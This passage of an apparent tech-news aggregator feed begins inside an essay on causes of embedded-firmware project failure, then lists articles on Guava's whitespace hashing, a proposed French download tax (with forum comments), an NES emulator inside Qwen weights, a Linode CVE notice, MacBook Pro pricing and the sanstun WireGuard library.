Ex-Lockheed CEO Norman Augustine, in his wonderful book "Augustine's Laws" (1997, American Institute of Aeronautics; ISBN: 1563472406) wrote about how defense contractors were in a bind in the late 70s. They found themselves unable to add anything to fighter aircraft, because increasing a plane's weight means decreasing performance. Business requirements - more profits - meant that regardless of the physics of flight they had to add features. Desperate for something hideously expensive yet weightless, they found. firmware! Today firmware in high performance aircraft consumes about half the total price of the plane. A success by any standard, except perhaps for the taxpayers. Indeed, retired USAF Colonel Everest Riccioni has suggested firmware-stuffed fighter airplanes and smart missiles are now so expensive that the US is unilaterally disarming (http://www.pogo.org/p/defense/do-010801-unilateraldisarm.html).

Face it: firmware is expensive, and getting more costly as it gets bigger. One hard-to-believe analysis (April 2004 Proceedings of the First Conference on Computing Frontiers ) claims that embedded software doubles in size every 10 months. Couple that with the exponential relationship between schedule and size and it's pretty clear that within a few years firmware development will pretty-nearly consume the entire world's GDP.

Yet software people can't get reasonable sums of money for anything but bare necessities. While our EE pals routinely cadge $50k logic analyzers we're unable to justify a few grand for a compiler. How many of you, dear readers, have been successful getting approval for quality tools like static analyzers? Free/Open Source tools bring giant smiles to the head CPA. The statement "Just port GNU" is an early indicator of a looming disaster.

9 - Starting Coding Too Soon

Agile methods have shaken up the world of software development. Most value code over documents, which all too often is incorrectly seen as justification for typing , "void main() " much too early.

Especially in the embedded world, we don't dare shortchange careful analysis. Early design decisions are often not malleable. Select an underpowered CPU or build hardware with too little memory and the project immediately headed towards disaster. Poorly structured code may never meet real-time requirements. Should the system use an RTOS? Maybe a hierarchical state machine makes the most sense. These sorts of design decisions profoundly influence the project and are tremendously expensive to change late in the project.

Sometimes the boss reinforces this early-coding behavior. When he sees us already testing code in the first week of the project he sees progress. Or, what looks like progress. "Wow - did you see that the team already has the thing working? We'll be shipping six months ahead of schedule!"

8 - The use of C

C is the perfect language for developers who love to spend a lot of time debugging.

Flame away.

C is no worse than most languages. But there are a few - Ada, SPARK, and (reputedly, though I have not seen reliable data) Eiffel - that intrinsically lead to better code.

Ada, for instance, is still the favored language for safety-critical applications. Lots of research (for instance: http://www.stsc.hill.af.mil/crosstalk/2003/11/0311German.html) shows that Ada code has half or fewer bugs than C code. SPARK, a relative new-comer, achieves a sixth of Ada's error rate. One might argue that since Ada and SPARK are often used in high-reliability applications more effort goes into getting the software right. However, Ada programs can be produced for half the cost of C (http://www.adaic.com/whyada/ada-vs-c/cada_art.html).

I do like coding in C. It's a powerful language that's relatively easy to master. The disciplined use of C, coupled with the right tools, can lead to greatly reduced error rates. Problem is, we tend to furiously type some code into the editor and rush to start debugging. That's impossible in Ada et al, which force one to think very carefully about each line of code. It's important to augment C with resources similar to those used by SPARK and Ada developers, like static analyzers, Lint, and complexity checkers, as well as the routine use of code inspections.

So you can change #8 to the misuse of C. But the original title is more fun.

7 - Bad science

Bad science means one of two things. First, and most common, poor analysis of the real-world events the system monitors or controls. I remember working on a system many years ago when we discovered, to our horror, that lead sulphide IR detectors were more sensitive to ambient temperature than infra-red light. That necessitated a major redesign of the system's electronics and mechanics. Yet this was a well-known effect we should have known about. Then there are the systems that don't have enough A/D resolution, precision and/or accuracy to make meaningful measurements. Poor filter selection can produce noisy data.

The second type is when one stumbles onto something that's truly new, or something not widely known. Penzias and Wilson ran into this in 1965 as they tried and tried to eliminate the puzzling noise in a receiver. only to eventually find that they had discovered the cosmic microwave background radiation.

It's pretty hard to stick to a schedule when uncovering fundamental physics. But most of the time the science is known; we simply have to understand and apply that knowledge.

6 - Poorly defined process

While there is certainly an art to developing embedded systems, that doesn't mean there's no discipline. A painter routinely cleans his brushes; a musician keeps her piano tuned. Many novelists craft a fixed number of pages per day.

There's plenty of debate about process today, but no one advocates the lack of one. CMM, XP, SCRUM, PSP and dozens of others each claim to be The One True Way for certain classes of products. Pick one. Or pick three and combine best practices from each. But use a disciplined approach that meets the needs of your company and situation.

There are indisputable facts we know, but all too often ignore. Inspections and design reviews are much cheaper and more effective than relying on testing alone. Unmanaged complexity leads to lots of bugs. Small functions are more correct than big ones.

There's a large lore of techniques which work. Ignore them at your peril!

5 - Vague requirements

Next to the emphasis on testing, perhaps the greatest contribution the agile movement has made is to highlight the difficulty of eliciting requirements. For any reasonably-sized project it's somewhere between extremely hard to impossible to correctly discern all aspects of a system's features.

But that's no excuse for shortchanging the process of developing a reasonably-complete specification. If we don't know what the system is supposed to do, we will not deliver something the customer wants. Yes, it's reasonable to develop incrementally with frequent deliverables so stakeholders can audit the application's functionality, and to continuously hold the schedule to scrutiny. Yes, inevitable changes will occur. But we must start with a pretty clear idea of where we're going.

Requirements do change. We groan and complain, but such evolution is a fact of life in this business. Our goal is to satisfy the customer, so such changes are in fact a good thing. But companies will fail without a reasonable change control procedure. Accepting a modification without evaluating its impact is lousy engineering and worse business. Instead, chant: "Mr. Customer - we love you. Whatever you want is fine! But. here's the cost in time and money."

4 - Weak managers or team leads

Managers or team leads who don't keep their people on track sabotage projects. Letting the developers ignore standards, skip using Lint or other static analyzers is simply unacceptable. No relentless focus on quality? These are all signs the manager isn't managing. They must track code size and performance, the schedule versus current status, keep a wary eye on the progress of consultants, and much more.

Management is very hard. It makes coding look easy. Perturb a system five times the same way and you'll get five identical responses. Perturb a person five times the same way and expect five very different results. Management is every bit as much of an art as is engineering.

Most people shirk from confrontation, yet it's a critical tool, hopefully exercised gently, to guide straying people back on course.

3 - Inadequate testing

Considering that a few lines of nested conditionals can yield dozens of possible states it's clear just how difficult it is to create a comprehensive set of tests. Yet without great tests to prove the project's correctness we'll ship something that's rife with teeming bugs.

Yet embedded systems defy conventional test techniques. How do you build automatic tests for a system which has buttons some human must push and an LCD someone has to watch? A small number of companies use virtualization. Some build test harnesses to simulate I/O. But any rigorous test program is expensive.

Worse, testing is often left to the end of the project, which is probably running late. With management desperate to ship, what gets cut?

Design a proper test program at the project's outset and update it continuously as the program evolves. Test incrementally, constantly and completely.

2 - Writing optimistic code

The inquiry board investigating the 1996 half-billion dollar failure of Ariane 5 recommended (among other findings) that the engineers take into account that software can fail. Developers had an implicit assumption that, unlike hardware which is subject to structural problems, software, once tested, is perfect.

Programming is a human process subject to human imperfections. The usual tools, which are usually not used, can capture and correct all sorts of unexpected circumstances. These tools include checking pointer values. Range checking data passed to functions. Using asserts and exception handlers. Checking outputs (I have a collection of amusing pictures of embedded systems displaying insane results, like an outdoor thermometer showing 505 degrees, and a parking meter demanding $8 million in quarters).

For very good reasons of efficiency C does not check, well, pretty much anything. It's up to us to add those that are needed.

My wife once asked why, when dealing with a kid problem, I look at all the possible lousy outcomes of any decision. Engineers are trained in worst case analysis, which sometimes spills over to personal issues. What can go wrong? How will we deal with that problem?

1 - Unrealistic schedules

Scheduling is hard. Worse, it's a process that will always be inherently full of conflict. The boss wants the project in half the estimated time for what may be very good reasons, like shipping the product to stave off bankruptcy. Or maybe just to save money; firmware is the most expensive thing in the universe, so it's not surprising that some want to chop the effort in half.

Capricious schedules are unrealistic. All too often, though, the supposedly accurate ones we prepare are equally unrealistic. Unless we create them carefully, spending the time required to get accurate numbers (for instance, see http://www.processimpact.com/articles/delphi.html) then we're doing the company a disservice.

Yet there are some good reasons for seemingly-arbitrary schedule. That "show" deadline may actually have some solid business justification. A well-constructed schedule shows time required for each feature. Negotiate with the boss to subset the feature list to meet the - possibly very important - deadline.

Conclusion

Those are my top ten. What are yours?

How hard is it to check for whitespace?

Lobsters
serce.me
2026-10-30 18:25:49
Comments...
Original Article

When looking through a piece of source code recently, I stumbled across this method from Guava – a popular Java library from Google.

Guava's whitespace matcher implementation

As you might've guessed from the name, this method checks whether a given character is a whitespace character. Yet the code looks a lot more complex than a simple c == ' ' check. This made me curious and sent me down a small rabbit hole trying to understand where all this complexity was coming from. If you're curious how this code works too, this article is for you.

What is whitespace, anyway?

The first thing one needs when inspecting a function that checks whether a character is whitespace is to define what whitespace actually is. While the SPACE (U+0020) is probably the best-known whitespace character, it's not the only one. If you've been writing code for a while, you can probably name a few more – the non-breaking space NO-BREAK SPACE (U+00A0) , a tab CHARACTER TABULATION (U+0009) , a newline LINE FEED (U+000A) .

Well, there are more. Unicode defines a White_Space property that gives us a list of 25 characters. Here they are – meticulously copied , ,,, , ,…, , , , , , , , , , , , , ,
,
, , , .

Each of these characters has a different purpose. FIGURE SPACE (U+2007) , for example, has the same width as a digit in a table, while THIN SPACE (U+2009) and HAIR SPACE (U+200A) provide progressively smaller gaps. NO-BREAK SPACE (U+00A0) has the width of an ordinary space, but keeps the surrounding text together when wrapping a line.

It's not always easy to tell whether a character is in the whitespace set from the name or by looking at the glyph either. For instance, ZERO WIDTH SPACE (U+200B) isn't a whitespace character at all. Despite the name, it's a format character that can indicate a word or line break opportunity without adding a visible gap.

There are also some less obvious members of the set too. OGHAM SPACE MARK (U+1680) can actually be rendered as a visible horizontal line. In Ogham fonts with a stemline, the space continues that line between letters (e.g. ᚛ᚆᚓᚂᚂᚑ ᚒᚑᚏᚂᚇ᚜), while in stemless fonts, it's blank. So even the assumption that whitespace must look empty isn't always true.

Different runtimes, different rules

Having a single definition of whitespace is only useful if everyone can agree on it. But even within a single runtime, some libraries might disagree on what whitespace is.

Consider the NO-BREAK SPACE (U+00A0) I mentioned above. It's included in Unicode's White_Space property, but Java explicitly excludes it , along with two other non-breaking spaces. The javadoc usefully highlights that the method checks for whitespace according to Java , rather than according to the Unicode property we had a look at before.

Character.isWhitespace(' ');      // true
Character.isWhitespace('\u00A0'); // false

Java isWhitespace screenshot

But what about other runtimes? Looking at two more popular ones, Python and JavaScript, we can see that there isn't a single authoritative list of characters everyone agrees on. Python, for example, has a convenient str.isspace() method. And unlike Java, it considers U+00A0 a whitespace character.

So possibly Python just follows Unicode's White_Space property? Not quite.

"\u00A0".isspace()  # True
"\u0085".isspace()  # True
"\u001C".isspace()  # True
"\uFEFF".isspace()  # False

The interesting one here is FILE SEPARATOR (U+001C) . It's an ASCII control character originally intended to separate pieces of information, and it isn't included in Unicode's White_Space property. So Python recognises 29 whitespace characters, rather than Unicode's 25.

JavaScript takes yet another approach. It doesn't have an equivalent of the Character.isWhitespace() method, but we can use the \s character class in a regular expression:

/\s/.test("\u00A0");  // true
/\s/.test("\u0085");  // false
/\s/.test("\uFEFF");  // true

The odd one out above is NEXT LINE (U+0085) . Unicode explicitly includes it in White_Space , and Python accepts it too, but JavaScript doesn't. Instead, JavaScript recognises ZERO WIDTH NO-BREAK SPACE (U+FEFF) , which Unicode doesn't include in the set.

I haven't looked through any other runtimes, but something tells me the inconsistencies won't stop at these three.

Nothing is set in stone

What adds more complexity is that Unicode is not frozen in time, and is constantly evolving. And this affects the definition of whitespace. For example, Unicode 6.3 had reclassified MONGOLIAN VOWEL SEPARATOR (U+180E) from a space separator to a format character, removing its White_Space property. The Unicode whitespace set had changed from 26 characters to 25 as a result. For runtimes and libraries that strive for backwards compatibility, these changes can be a pretty significant challenge as you'd want the standard library of a language to be as stable as it can be.

Checking for whitespace fast

Let's say we've finally agreed on the set of characters we want to check – the current set of Unicode whitespace characters. A naive way to implement this would be to go through the list of characters and check whether any of them matches. While this would work, it's definitely not the most efficient approach.

So what Guava's implementation that we saw at the beginning of the article did was implement a perfect hash function – a hash function that guarantees no hash collisions for the characters in the known set.

static final String TABLE = "\u2002...";

@Override
public boolean matches(char c) {
    int slot = (1682554634 * c) >>> 27;
    return TABLE.charAt(slot) == c;
}

Above, TABLE is a string of 32 characters – effectively a hash table mapping each index (the key) to a character (the value). It contains all 25 Unicode whitespace characters, with some duplicates filling the remaining positions.

The most interesting part here is calculating the index. The multiplication 1682554634 * c produces a 32-bit integer, and >>> 27 shifts it 27 bits to the right, isolating the five most significant bits – a number in the [0, 32) range which can be used to look up the table. Of course, there are more possible characters than table entries, that's why the final == c check is needed to check that the character we found is the one we were looking up.

You can click on the characters below to see how the table is populated.

int value =

32

*

1682554634

= -1992826560

1 0 0 0 1

0 0 1 0 0 1 1 0 1 1 1 1 1 1 0 0 0 0 1 0 1 0 0 0 0 0 0

17

0 ·

1 ·

2 ·

3 ·

4 ·

5 ·

6 ·

7 ·

8 ·

9 ·

10 ·

11 ·

12 ·

13 ·

14 ·

15 ·

16 ·

17 0020

18 ·

19 ·

20 ·

21 ·

22 ·

23 ·

24 ·

25 ·

26 ·

27 ·

28 ·

29 ·

30 ·

31 ·

The magic 1682554634 number does look magical, and it's unclear to me how it was chosen (please do share if you know the answer). But it's not the only possible multiplier, and you can find all suitable options by running a simple brute-force search.

static final char[] ALL_CHARS = (
        "\u2002\u3000\r\u0085"
        + "\u200A\u2005\u2000"
        + "\u2029\u000B\u2008"
        + "\u2003\u205F\u1680"
        + "\u0009\u0020\u2006"
        + "\u2001\u202F\u00A0"
        + "\u000C\u2009\u2004"
        + "\u2028\n\u2007"
).toCharArray();

public static void main(String[] a) {
    var slots = new BitSet(32);
    outer:
    for (int mul = 1; mul != 0; mul++) {
        slots.clear();
        for (char c : ALL_CHARS) {
            int index = (mul * c) >>> 27;
            if (slots.get(index)) {
                continue outer;
            }
            slots.set(index);
        }
        System.out.println(mul);
    }
}

Interestingly, anyone willing to dive deeper can trace how Guava arrived at this implementation by looking through the git history. It transitioned from a simpler matcher to a mod-79 version which has an interesting observation about the Unicode character set but had a downside of involving a division operation, then followed by a perfect hash function .

And if you're interested in other applications for perfect hashing – somewhat serendipitously just as I was writing this article, Daniel Lemire published a blog on the same topic where he gives an example of using perfect hashing for checking HTTP methods.

Conclusion

When I first saw the whitespace-checking code in Guava, it sparked my curiosity, and as a result I learned a few things about Unicode and saw an interesting application of a perfect hash function – something you don't see used that often in the wild.

I hope you've learned something interesting from this article too. And if you find something that sparks your curiosity, please do write a blog post and share it. I do feel that these write-ups are becoming increasingly rare in the AI-first world, where there's rarely a reason to peek under the hood of a function as simple as isWhitespace .

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France is getting download tax for content providers (€0.055/GB)

Hacker News
www.resetera.com
2026-10-30 18:10:12
Comments...
Original Article
  • Welcome back everyone, we missed you so much. Please bear with us as things are being restored. Connection to our main site address may be spotty, and similar to how not everyone lost access at the same time, not everyone will gain access a the same time. We'll be smooth sailing before you know it though. Please use reseteraforum.com if you have any issues on the main address. Our deep, genuine, sincere apologies for all of this hassle and downtime.

France is getting download tax for content providers (€0.055/GB) for data delivered to French users

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If i understand correctly every company that offers content for download will now need to pay for every GB downloaded by French users.

Google Translate Summary (if somebody from France translate is i will edit post)

This amendment from the Socialist and affiliated group proposes the introduction of a tax on digital data producers. It aims to restore fairness between the taxation applied to established players in the economy and that applied to globalized players in the digital economy, who largely escape traditional tax mechanisms.

This tax is based on a non-relocatable tax base: internet data transmitted to users. It is paid by data producers and collected by the government through measurements taken by internet service providers. It relies on existing technologies and a methodology developed with industry specialists. The majority of this tax would be paid by major international tech and digital players, representing a large share of the data transmitted to French households. At a rate of €0.055 per gigabyte, a revenue of €10 billion is expected. This model does not raise privacy concerns since the data is never accessed (only its quantity is assessed), and it also has an environmental benefit as it will naturally encourage data providers to adopt the most advanced technologies for compression and optimization of data volumes.

Reviving the French economy requires rebalancing the contribution of different economic actors to the national tax effort. On one hand, there is the established economy, comprised of businesses, industries, and the sale of goods and services. It occupies premises, employs workers in France, and finances its direct or indirect use of public services, roads, hospitals, schools, civil defense, the police, and our national defense… because its tax base is physically located within the country.

On the other hand, a deterritorialized economy, it sells to the same customers, uses the same infrastructure, benefits from the same public services, but its tax base is a self-declared profit, that is to say an accounting entry whose location it decides according to its interests.

Insofar as this new digital economy is characterized by its ability to operate across borders, with high margins and by marketing only intangible services or even, seemingly, free for the consumer, it is very difficult to bring these players into the scope of traditional taxation, justifying the creation of a specific contribution.

The idea is to use as a tax base a proxy of their activity which is the quantity of data (the "gigabytes") sent by the actors concerned (the GAFAM and others) to French consumers.

ARCEP estimates that data traffic sent to subscribers of internet service providers (ISPs) in France amounts to 200 billion gigabytes per year.

This contribution would mainly concern the very large players on the internet: Google, Meta, Amazon, Netflix and Akamai (cloud player) alone representing half of the data traffic measured by ARCEP.



VLC Makers say that this will cost them over 1M euros per year that they don't have because they are non profit.

According to Steam Stats in past 7 days French users downloaded 62.7PB

chrome-2026-10-30-21-20-17.png

That is 62700000 x 0.055€ = 3,448,500€

So Valve alone will potentially need to pay France €3.5M per week and that is like €180M per year (if i did math correctly, pleace correct me if i am wrong :D).

This is pretty mental, sites are just gonna start blocking France en masse.
This sounds like hell and will only raise prices for consumers everywhere.
Is this the thing that South Korea has?

Their internet providers really hate high bandwidth services, since data transfer is taxed.

This could be pretty disastrous for France if heavily regulated.
This is really fucking dumb. It's just not realistic.
lmfao. yeah, that's gonna work out real well. valve ain't gonna pay €7 when someone wants to download phantom blade.
I had no idea this was going on.

how does this relate to torrents?

I don't think sites are going to start blocking France, but products in france are going to start getting an additional fee added to their transactions.

Sounds like a great way for everywhere to stop letting French users download from them. I know the French state is cash-strapped but this sounds like a complete non-starter.
Sounds like people in France are about to get a lot of price increases for digital goods
It has to be approved by the Senate and it probably won't.
They'll just throttle French users until everyone uses a VPN.
After the UK's face sitting porn ban from yesterday, probably not a bad idea to get ahead of the curve.
This is so unbelievably stupid.
I'm going to have to read up on this a whole lot more.
That is a complete insane rate. 10 bucks tax to the content provider for the end user to download gta 6 lmao
France is not getting that. A minority group in the Assembly is proposing this to act as a proxy to tax large foreign service providers who don't pay what they should be paying.
Un taux de 0,055 euro par gigaoctet est prévu par le dispositif. Un plafonnement de la taxe est prévu pour tenir compte des secteurs possédant structurellement un ratio de données émises par euro de chiffre d'affaires élevé comme la vidéo à la demande ou le jeu vidéo.
This feels like an unbelievably bad idea.
I dont see this actually ever actually being approved.

Imagine Sony having to pay 10€ each and every time someone downloads or redownloads GTA VI. Not to mention the updates

I don't understand what the point of this policy is. lol

I get taxing digital services properly because they're multinationals that escape paying local taxes, but paying per gb downloaded is insane. lol

I don't understand what the point of this policy is. lol

France needs to find more ways to fund the government and social services cause they're already knee-deep in costs.

Which….this ain't it.

I don't understand what the point of this policy is. lol
in modern politics policies don't need points, they just need to piss somebody your base hates off
This is absolutely insane, what?

Was this passed already?

ok this is a proposal from a minority in the assembly lol

might as well ignore

This model does not raise privacy concerns since the data is never accessed (only its quantity is assessed), and it also has an environmental benefit as it will naturally encourage data providers to adopt the most advanced technologies for compression and optimization of data volumes.
This is such insanely stupid reasoning. (A) It DOES raise privacy concerns as the government/ISP needs to know what businesses to tax and how much (hence you must record subscriber X was accessing Y service at Z time), and (B) all it encourages is offloading the costs of the tax right back onto French consumers with bandwidth fees, or denying them access to the service entirely.
How did an "amendment proposal" become "French is getting download tax"? This is a really irresponsible thread. Straight up twitter tier levels of discussion.
This is absolutely insane, what?

Was this passed already?


According to post few posts above it still needs to get approved but it passed voting.
France needs to find more ways to fund the government and social services cause they're already knee-deep in costs.

Which….this ain't it.

in modern politics policies don't need points, they just need to piss somebody your base hates off
They're pretending downloads are like a utility and that companies are making profit on gigs downloaded. I can't imagine someone thinking this is how the world works. lol
According to post few posts above it still needs to get approved but it passed voting.
Is it possible for it to "not get approved" at this point or is it just a formality? Not really familiar with French politics
Dumbest politicians on Earth.
This is absolutely insane, what?

Was this passed already?


No, this is a proposal from members of the socialist party and affiliated groups. Thread title is incorrect in wording making it seem like it's approved, but as much as people are saying "don't overreact", I just want to make this clear - This is a stupid proposal that cannot work without massive caveats.
There are a lot of crazy taxes, so why not also tax internet traffic.
But more than 5 cent per GB is crazy.

Also, a pretty bad idea to go alone on this route.

If anyone still has any questions why people were harping all over net neutrality some years back
Goodbye France, you are becoming an offline country now.
How did an "amendment proposal" become "French is getting download tax"? This is a really irresponsible thread. Straight up twitter tier levels of discussion.

Literacy lol
France is not getting that. A minority group in the Assembly is proposing this to act as a proxy to tax large foreign service providers who don't pay what they should be paying.

Yeah, OP really fucked up the title of this thread. A proposed amendment is not "this is happening". It seems to me more like a symbolic proposal designed to draw attention to how little large tech companies pay in taxes more than a realistic proposal they expect to pass.
They're pretending downloads are like a utility and that companies are making profit on gigs downloaded. I can't imagine someone thinking this is how the world works. lol
you see, the internet is a series of pipes...
in modern politics policies don't need points, they just need to piss somebody your base hates off

That's what's so daft about this. They can say it's a tax on tech companies all they want, but every cent of it will obviously be paid by the consumer.
Very misleading title leading to reactions from people who don't read past it, it's just a proposal. It'll never be an actual thing.
According to post few posts above it still needs to get approved but it passed voting.

change the title, shit is misleading....

it's an amendment proposal, not something that is happening

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dbreunig/nesformer

Simon Willison
simonwillison.net
2026-10-30 17:59:22
dbreunig/nesformer Inspired by qwenputer by Divyansh Agrawal, Drew Breunig baked a working emulator for a Nintendo Entertainment System 6502 CPU into the weights of Qwen3.5-4B. You can now play NES ROMs such as Super Mario Bros (very slowly) running inside Qwen! In a comment on Hacker News Drew reve...
Original Article

30th October 2026 - Link Blog

dbreunig/nesformer ( via ) Inspired by qwenputer by Divyansh Agrawal, Drew Breunig baked a working emulator for a Nintendo Entertainment System 6502 CPU into the weights of Qwen3.5-4B. You can now play NES ROMs such as Super Mario Bros (very slowly) running inside Qwen!

In a comment on Hacker News Drew reveals the Opus 5.5 prompts he used to build this system:

Read this article and any relevant source code: https://divagr.com/blog/qwenputer. Then explore if you could emulate the chip and ram in a Nintendo Entertainment System (as people do today with FPGAs in MISTRs) using this technique. If so, what size model would you have to build and if you could use smaller faster ones, could you get it to be at the standard clockspeed.

Followed by:

I think we should build it! Just for fun. It's okay if it's not fast. We want to be able to have the weights, and a cli to run them that we can point at a ROM.

Apparently Opus found and then used this collection of conformance tests for the NES CPU released 15 years ago by Christopher Pow.

Linode Security Incident

Hacker News
status.linode.com
2026-10-30 17:57:40
Comments...
Original Article

Update

We are continuing to investigate this issue. The appropriate subject matter experts are engaged. Subsequent updates around mitigation status will be posted as progress is made.

Posted Oct 30 , 2026 - 21:18 UTC

Investigating

Akamai is aware of the recently published remote code execution CVE-2026-98432. We are actively investigating and taking the appropriate mitigation actions, while we continue to monitor our platform in parallel. If you have questions or are experiencing an impact due to this issue, please reach out to us in a ticket at https://cloud.linode.com/support .

Posted Oct 30 , 2026 - 18:10 UTC

★ MacBook Pro Pricing and Configurations for M6, M5 Pro, and M5 Max

Daring Fireball
daringfireball.net
2026-10-30 17:56:10
I find it useful to organize all of the configuration options into tables on a single page, and I figured it might be useful to share this now, before I finish writing my full thoughts on the redesigned hardware and displays for the PROLED XDR models....
Original Article

Apple’s dynamic configuration UI in their online store doesn’t hide or disguise the pricing or configuration options, but it doesn’t present all of the options at a glance. I find it useful to organize all of the configuration options into tables on a single page, and I figured it might be useful to share this now, before I finish writing my full thoughts on the redesigned hardware and displays for the PROLED XDR models.

Notes:

  • The old-style (mini-LED, no touchscreens, heavier) M5 Pro and M5 Max MacBook Pros were announced and began shipping in March 2026, alongside the new Studio Display and Studio Display XDR, the MacBook Neo, and M5 MacBook Airs.

  • The new but old-style plain 14-inch M6 MacBook Pro was announced in October 2026 and is set to begin shipping in early November.

  • The all-new PROLED XDR (touchscreens, lighter weight) M5 Pro and M5 Max MacBook Pros were announced in October 2026 and are set to begin shipping in early November.

  • As in previous generations, there are no 16-inch models for the plain M6 or the chip-binned fewer-core M5 Pro configurations. The 16-inch MacBook Pro starts with the full 18-core CPU / 20-core GPU M5 Pro chip.

  • 16-inch models, when available, cost $300 more than the same-specced 14-inch configuration.

  • Nano-texture displays are an option for all MacBook Pro models, and always cost $150.

  • The new PROLED XDR models cost $400 more than the equivalent old-style ones. This $400 difference is true for both 14- and 16-inch models.

  • The new 16 TB SSD upgrade is exclusively available for M5 Max models with the new PROLED XDR displays. It costs a smooth $7,000 more than the base 2 TB storage.

M6

12-core CPU / 12-core GPU:
    14-inch:        $2000
    16-inch:          N/A

    PROLED XDR:       N/A
    Nano-texture:    +150

    RAM:    16 GB      +0
            24 GB    +200
            32 GB    +400

    SSD:    1 TB       +0
            2 TB     +500
            4 TB    +1500

M5 Pro

15-core CPU / 16-core GPU:
    14-inch:        $2500
    16-inch:          N/A

    PROLED XDR:      +400
    Nano-texture:    +150

    RAM:    24 GB      +0
            48 GB    +600

    SSD:    1 TB       +0
            2 TB     +500
            4 TB    +1500


18-core CPU / 20-core GPU:
    14-inch:        $2700
    16-inch:        $3000

    PROLED XDR:      +400
    Nano-texture:    +150

    RAM:    24 GB      +0
            48 GB    +600
            64 GB   +1000

    SSD:    1 TB       +0
            2 TB     +500
            4 TB    +1500

M5 Max

18-core CPU / 32-core GPU:
    14-inch:        $4100
    16-inch:        $4400

    PROLED XDR:      +400
    Nano-texture:    +150

    RAM:    36 GB      +0

    SSD:    2 TB       +0
            4 TB    +1000
            8 TB    +3000
           16 TB    +7000  (PROLED XDR only)


18-core CPU / 40-core GPU:
    14-inch:        $4700
    16-inch:        $5000

    RAM:    48 GB      +0
            64 GB    +400
           128 GB   +2000

    SSD:    2 TB       +0
            4 TB    +1000
            8 TB    +3000
           16 TB    +7000  (PROLED XDR only)

To me, the most curious detail in these tables is that if you select the chip-binned M5 Max with only 32 GPU cores, the one and only RAM configuration is 36 GB. The “full” M5 Max with 40 GPU cores starts with 48 GB of RAM in the base configuration.

For size, weight, battery life, and display brightness differences, consult Apple’s ever-excellent Compare tool , preconfigured with that link to show the 14-inch models with M6, M5 Max (mini-LED), and M5 Max with PROLED XDR. ( PDF archive of that Compare page, archived today for posterity.)

Sanstun: A sans-IO, parallel-friendly WireGuard implementation in Rust

Hacker News
www.firezone.dev
2026-10-30 17:30:00
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Original Article

Today, we are announcing sanstun : a sans-IO Rust implementation of the WireGuard® state machine, optimized for ease of use, security and performance through a parallel-friendly and idiomatic API.

What is sans-IO?

sans-IO is the idea that you design your system such that IO and side-effects are cleanly separated from the state and "business logic". The IO in sans-IO doesn't just mean file or network IO. It also includes things like time and randomness!

Due to their lack of side-effects, sans-IO components compose very well and are relatively easy to test. The design also avoids problems like function coloring and plays well with Rust's ownership rules.

The code examples and references in this post are in Rust but sans-IO isn't Rust-specific at all. Its patterns and ideas can be applied in any language. For a more in-depth explanation, our sans-IO post is a good place to start.

History

When we first built Firezone, we reached for boringtun as our WireGuard implementation. boringtun more or less did what we wanted, but over time, we found ourselves patching our fork over and over with bug fixes as well as API additions. The goal was to allow these patches to still be upstreamed, so we always kept the existing API working the way it was.

What we found was that retaining 100% API compatibility with upstream was increasingly difficult as our product requirements evolved. One of the first big changes we made to boringtun was to make it fully sans-IO with regard to time handling ( firezone/boringtun#5 ). This meant adding new APIs for everything with a _at suffix that would take an Instant . sans-IO time handling is very important if you want to accurately simulate an entire system. See this blog post to learn more about how we do that.

Another thing we feature-flagged was internal buffering. At first, it seems convenient that boringtun establishes a session automatically if you don't have one yet (or anymore) and you are trying to send a packet. Internal buffering, however, comes with several problems:

  1. At some point, the buffer needs to be drained. boringtun solves this by requiring you to call decapsulate with a zero-length datagram. Rather unintuitive.
  2. It incurs additional allocations (at least in the way it was implemented in boringtun ).
  3. Buffer sizes should be configurable / tunable.

All of these problems point at the same solution: Just don't buffer in the library. It simplifies the interface and the implementation on both sides.

The full list of patches and fixes is pretty long. Even excluding dependency bumps, that is more than 70 PRs. Several of them are fixes for edge-cases we discovered. Others add new APIs or make certain aspects configurable.

After more than 2 years of using and patching boringtun , we had a pretty good idea of what the overall API of a userspace WireGuard implementation should be. Now it exists as sanstun .

A better sans-IO API

The core building blocks of the sans-IO API are now:

  • Handling inbound packets:
    • Tunnel::handle_handshake_initiation
    • Tunnel::handle_handshake_response
    • Tunnel::handle_cookie_reply
    • Tunnel::begin_decapsulate & Tunnel::commit_decapsulate
  • Handling outbound packets: Tunnel::begin_encapsulate
  • Handling timer updates: Tunnel::handle_timeout & Tunnel::poll_timeout
  • Handling events: Tunnel::poll_event

Without internal buffering, there is no API contract that requires you to call certain APIs in a loop, which fits much better into the overall sans-IO model. To send a packet, you call Tunnel::begin_encapsulate . It is up to you to buffer the packet if you don't have a session yet. Creating a new session means sending a handshake. You can initiate a new handshake at any point with Tunnel::initiate_handshake .

The design of these APIs is very deliberate and will make more sense if we quickly recap the WireGuard protocol.

WireGuard protocol

WireGuard's message format supports 4 types of messages: handshake init, handshake response, cookie reply and encrypted data.

Every WireGuard session starts with a Diffie-Hellman key exchange which is a moderately expensive operation. WireGuard's design ensures that exposing an endpoint doesn't open up a DoS opportunity.

Anyone who knows the endpoint's public key can easily create bogus handshake initiations and forge the source IP of the incoming UDP packet. The receiving WireGuard implementation has to run its half of the DH operations before it can tell that the supplied handshake data is bogus. But at that point, the CPU resources have already been spent. Send enough handshake initiations and the receiving end will spend all its CPU cycles on handling irrelevant handshakes.

To prevent this, WireGuard specifies a cookie mechanism that forces the remote to prove ownership of its claimed source IP, which in turn allows rate-limiting handshakes per source IP.

These rate limits apply to an entire WireGuard interface and not just to a single tunnel.

Once a handshake has been completed, both peers can exchange encrypted data packets with a symmetric cipher. As part of the handshake, the peers also exchange their locally-chosen session indices. These indices enable de-multiplexing of tunnels as well as multiple sessions within a tunnel.

Mapping protocol invariants to API design

If you are working in a language like Rust, chances are you enjoy using types. And using types well means enforcing invariants at compile-time such that you can't even ship a certain bug in the first place. For example, forgetting to apply the rate limiter to a message would be pretty bad because it doesn't show up under normal operation. Similarly, routing an incoming packet to the wrong tunnel is something that will only show up in production.

A good API design makes it impossible to build things that are broken and also guides you along in understanding how the protocol works.

One interface, many tunnels

A WireGuard interface is identified by a single key and a tunnel is a connection between two interfaces. Any time we want to send a packet, we therefore need to specify which tunnel it should be sent on and when we receive a packet, we need to figure out which tunnel it belongs to.

